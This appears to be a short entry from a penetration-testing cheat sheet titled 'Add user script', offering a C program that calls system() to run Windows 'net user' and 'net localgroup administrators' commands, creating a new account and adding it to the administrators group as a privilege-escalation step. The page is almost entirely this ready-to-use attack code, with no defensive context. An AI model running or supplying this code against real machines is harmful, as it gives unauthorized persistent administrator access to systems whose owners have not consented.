Add user script
If your able to run a executable to escalate privilege, you can use the following code to add a new user in the administratior group
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */
int main ()
{
int i;
i=system ("net user <username> <password> /add && net localgroup administrators <username> /add");
return 0;
} Last updated